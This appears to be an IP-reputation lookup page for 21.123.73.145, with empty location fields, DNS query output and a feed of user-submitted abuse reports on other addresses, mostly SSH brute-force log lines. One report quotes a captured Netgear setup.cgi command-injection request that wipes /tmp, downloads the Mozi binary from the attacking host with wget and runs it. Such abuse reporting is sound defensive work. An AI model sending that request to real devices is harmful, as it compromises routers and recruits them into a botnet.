Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: United States of America (the)

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
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Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 21.123.73.145
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 40841
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;21.123.73.145.			IN	A

;; AUTHORITY SECTION:
.			30	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2025021700 1800 900 604800 86400

;; Query time: 10 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Mon Feb 17 13:43:47 CST 2025
;; MSG SIZE  rcvd: 106
Host info
Host 145.73.123.21.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 145.73.123.21.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
IP Type Details Datetime
179.99.203.139 attackbotsspam
Oct  3 11:50:32 ns3033917 sshd[26072]: Invalid user docker from 179.99.203.139 port 55094
Oct  3 11:50:34 ns3033917 sshd[26072]: Failed password for invalid user docker from 179.99.203.139 port 55094 ssh2
Oct  3 11:59:01 ns3033917 sshd[26115]: Invalid user mc from 179.99.203.139 port 62579
...
2020-10-04 01:28:02
159.65.88.87 attackbots
SSH Brute Force
2020-10-04 01:37:46
51.178.138.1 attack
Oct  3 13:04:46 124388 sshd[18927]: Invalid user erp from 51.178.138.1 port 36296
Oct  3 13:04:46 124388 sshd[18927]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.178.138.1
Oct  3 13:04:46 124388 sshd[18927]: Invalid user erp from 51.178.138.1 port 36296
Oct  3 13:04:48 124388 sshd[18927]: Failed password for invalid user erp from 51.178.138.1 port 36296 ssh2
Oct  3 13:09:12 124388 sshd[19152]: Invalid user postgres from 51.178.138.1 port 43800
2020-10-04 01:51:55
60.243.117.69 attackspambots
Cowrie Honeypot: Unauthorised SSH/Telnet login attempt with user "admin" at 2020-10-02T20:37:28Z
2020-10-04 01:18:23
142.93.57.255 attackspambots
Oct  3 12:39:37 ajax sshd[992]: Failed password for root from 142.93.57.255 port 50358 ssh2
Oct  3 12:43:06 ajax sshd[2268]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=142.93.57.255
2020-10-04 01:16:13
27.217.101.136 attackspambots
23/tcp
[2020-10-02]1pkt
2020-10-04 01:15:04
61.250.179.81 attackspambots
s3.hscode.pl - SSH Attack
2020-10-04 01:33:27
88.234.60.237 attack
445/tcp
[2020-10-02]1pkt
2020-10-04 01:15:53
185.216.140.68 attackspam
50100/tcp 50038/tcp 50039/tcp...≡ [50010/tcp,50110/tcp]
[2020-10-02]101pkt,101pt.(tcp)
2020-10-04 01:37:22
103.129.196.143 attackbotsspam
2020-10-03T15:33:48.042750vps773228.ovh.net sshd[4541]: Failed password for invalid user opc from 103.129.196.143 port 43398 ssh2
2020-10-03T15:42:30.268471vps773228.ovh.net sshd[4665]: Invalid user test from 103.129.196.143 port 57356
2020-10-03T15:42:30.280542vps773228.ovh.net sshd[4665]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.129.196.143
2020-10-03T15:42:30.268471vps773228.ovh.net sshd[4665]: Invalid user test from 103.129.196.143 port 57356
2020-10-03T15:42:31.878003vps773228.ovh.net sshd[4665]: Failed password for invalid user test from 103.129.196.143 port 57356 ssh2
...
2020-10-04 01:50:21
153.101.167.242 attackspambots
(sshd) Failed SSH login from 153.101.167.242 (CN/China/-): 5 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: Oct  3 05:19:01 jbs1 sshd[4120]: Invalid user scheduler from 153.101.167.242
Oct  3 05:19:01 jbs1 sshd[4120]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=153.101.167.242 
Oct  3 05:19:03 jbs1 sshd[4120]: Failed password for invalid user scheduler from 153.101.167.242 port 35624 ssh2
Oct  3 05:21:51 jbs1 sshd[5506]: Invalid user dinesh from 153.101.167.242
Oct  3 05:21:51 jbs1 sshd[5506]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=153.101.167.242
2020-10-04 01:44:17
123.10.169.83 attackbotsspam
/setup.cgi%3Fnext_file=netgear.cfg%26todo=syscmd%26cmd=rm+-rf+/tmp/*;wget+http://123.10.169.83:46588/Mozi.m+-O+/tmp/netgear;sh+netgear%26curpath=/%26currentsetting.htm=1
2020-10-04 01:44:36
68.235.82.5 attackspambots
Brute forcing email accounts
2020-10-04 01:27:27
148.66.132.190 attackbotsspam
2020-10-03T03:22:43.911310n23.at sshd[2066088]: Failed password for invalid user git from 148.66.132.190 port 36800 ssh2
2020-10-03T03:37:20.303913n23.at sshd[2077902]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=148.66.132.190  user=root
2020-10-03T03:37:22.404701n23.at sshd[2077902]: Failed password for root from 148.66.132.190 port 35436 ssh2
...
2020-10-04 01:42:25
122.51.45.240 attack
122.51.45.240 (CN/China/-), 6 distributed sshd attacks on account [root] in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_DISTATTACK; Logs: Oct  3 12:26:41 server2 sshd[1051]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.45.240  user=root
Oct  3 12:23:41 server2 sshd[613]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=85.209.0.252  user=root
Oct  3 12:26:43 server2 sshd[1051]: Failed password for root from 122.51.45.240 port 48704 ssh2
Oct  3 12:27:37 server2 sshd[1287]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=187.95.11.195  user=root
Oct  3 12:23:43 server2 sshd[613]: Failed password for root from 85.209.0.252 port 13640 ssh2
Oct  3 12:20:17 server2 sshd[32560]: Failed password for root from 85.209.0.103 port 38502 ssh2

IP Addresses Blocked:
2020-10-04 01:46:28

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